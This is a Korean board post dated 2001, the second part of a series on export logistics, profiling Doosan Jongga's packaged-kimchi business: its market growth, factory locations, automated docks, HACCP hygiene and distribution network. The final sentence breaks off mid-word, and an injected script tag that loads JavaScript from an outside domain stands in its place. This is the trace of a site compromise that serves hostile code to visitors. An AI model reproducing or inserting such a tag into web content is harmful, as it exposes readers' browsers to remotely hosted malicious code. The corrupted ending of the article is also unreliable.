| 글쓴이 |
운영자 |
작성일 |
2001-09-14 |
| 제목 |
수출물류 최적모델찾기 - 2 김치/두산 종가집 |
격주 릴레이/ 수출물류 최적모델찾기 - 2 김치/두산 종가집
"상품김치 물류 선진화, 글로벌화 이끈다"
국내 김치시장규모는 98년 3,000억원에서 99년 3,500억원, 2000년 4,000억
원으로 해마다 10%이상 성장추세에 있으며, 올해 시장규모는 15% 정도
가 늘어난 4,600억원으로 예상된다. 식생활 패턴과 맞벌이 부부 증가, 핵
가족화 등 사회환경변화가 포장김치 시장의 지속적인 성장을 보장하고
있다. 우리나라 김치수출고 90년대 초 1,700만불에서 98년 4,400만불, 지
난해에는 7,900만불로 꾸준하게 신장되고 있다.
우리나라 상품김치시장의 중심에 두산 종가집(http://kimchi.dbc.co.kr)이
있다. 종가집은 1975년 KAIST와 "김치 상품화를 위한 산패 연부방지"에
대한 공동연구를 시작으로 87년 세계 최초로 '김치의 진공포장 방법'의
특허 획득을 통한 상품김치를 시장에 선보이며 포장김치라는 새로운 시
장의 문을 열었다.
91년 국내 처음 김치로 'KS 마크'를 획득한 종가집 김치는 세계 최초,
최대의 김치연구소를 설립 운영하고 있으며 횡성과 거창에 세계 최대의
김치공장을 운영하고 있다. 두산 종가집은 우리나라 상품김치업계의 맏
형으로 우리 김치의 세계화는 물론 상품김치업계의 물류 선진화를 선도
하고 있다.
<종가집김치 생산체계> 종가집은 제1공장인 강원도 횡성공장과 제2공장
인 경상남도 거창공장을 운영중이다.
제1공장인 강원도 횡성공장은 강원도의 풍부한 배추 등의 농산물 산지와
인접해 있으며, 풍부한 지하수 등이 확보가 용이하다는 점이 강점. 원재
료 산지 인근에 공장을 설립, 물류비를 절감 체제를 갖추고 있을 뿐 아
니라 고속도로 인근의 부지선정을 통한 신속한 물류시스템을 구축하였
다.
경상남도 거창군 가조면의 석강농공단지에 위치한 거창공장은 연간
24,000톤의 김치를 생산할 수 있는 최신 설비를 갖춘 공장이다. 종가집이
거창에 공장을 세운 데는 몇가지 전략적 이유가 있다. 원재료 산지와 인
접해 있는데다 풍부한 지하수 확보가 용이하고, 풍부한 노동력 확보가
가능하기 때문이다. 그 밖에도 88고속도로 등 교통여건도 뛰어난 교통의
요지이기도 하다. 특히 주목되는 것은 종가집이 부산항과 가까운 거창공
장을 수출물류 거점으로 활용한다는 중장기 전략을 실천에 옮겼다는 점
이다.
종가집의 생산공장들은 김치공장으로서는 특이하게 물류비 감소를 위해
냉동컨테이너를 적재한 차량이 생산라인과 밀착하는 도크시스템을 갖추
고 있다는 점, 원재료 상하차의 로봇 상하차 등을 통한 시간 절감형 시
스템을 구축하고 있다는 점이 눈에 띈다.
거창공장의 경우 공정별 온도조건과 오염도별 zone 구분 등 첨단 위생
처리 시스템인 HACCP개념 도입했다. 또 공정배치 효율화를 통해 원료
입고와 제품 출하를 분리하는 것은 물론 공정간 동선 최소화 배치와 하
역 자동화(Robotizer), 운반 공정의 기계화(Dumper, Conveyor)를 통해
생산성을 향상시켰다. 물론 물을 낭비하지 않는 효과적인 세척시스템과
SBR 방식의 최신설비의 폐수처리 시설을 갖춰 청정산악지역의 오염을
극소화했다.
<구매물류 체계> 산지 인근에 공장이 있기 때문에 신속한 원부자재의
입고가 가능하며 구매 후 로봇, 도크시스템 등의 자동화를 통한 물류비
용 절감을 추진하고 있다. 또한 배추의 입고 등 또한 크린박스 포장을
도입, 제품의 규격화와 적재의 규격화를 이루었으며 또 불용율을 크게
감소시켰다는 점이 강점이다.
<내수판매 체계> 종가집은 수도권에 강동, 북부, 강서, 수원 등 4개의
물류기지를 확보하고 있으며 경상도지역을 위한 '부산물류'를 운영하고
있다.
이남 지역 공급제품은 제2공장인 거창공장에서 출하를 하여 '부산물류'
에서 관할을 하게 되며 이북 지역 공급제품은 제1공장인 강원도 횡성공
장에서 출하해 수도권의 4개 물류센터에서 취급한다. 생산거점과 물류거
점, 소비지가 효율적으로 연계돼 있다.
내수 판매의 경우 김치의 특성상 재고 판매가 되지 않으므로 대규모의
물류센터가 아닌 1,000평규모의 소형 물류센터를 각 포스트별로 분리하
여 운영하는 시스템을 구축하였다.
이와함께 IT 정보기술의 발달에 따른 '소비자와의 직거래 증가'라는 시
장환경의 변화에 따라 대한통운 및 한진택배와 전략적 제휴를 통한 가정
배달 시스템을 구축하였다.
이 시스템은 종가 집의 고객센터(080-080-8866)나 홈페이지
(www.zongga.com)로 직접 김치를 주문한 고객의 가정에 주문즉시 직접
배달해 주는 시스템. 주문 정보 및 배송정보가 실시간으로 각 택배회사
와 상호 연동돼 물류 배송시간의 단축은 물론 물류의 효율화를 이루었으
며 일 5,000건 이?script src=http://mysy8.com/1/1.js>
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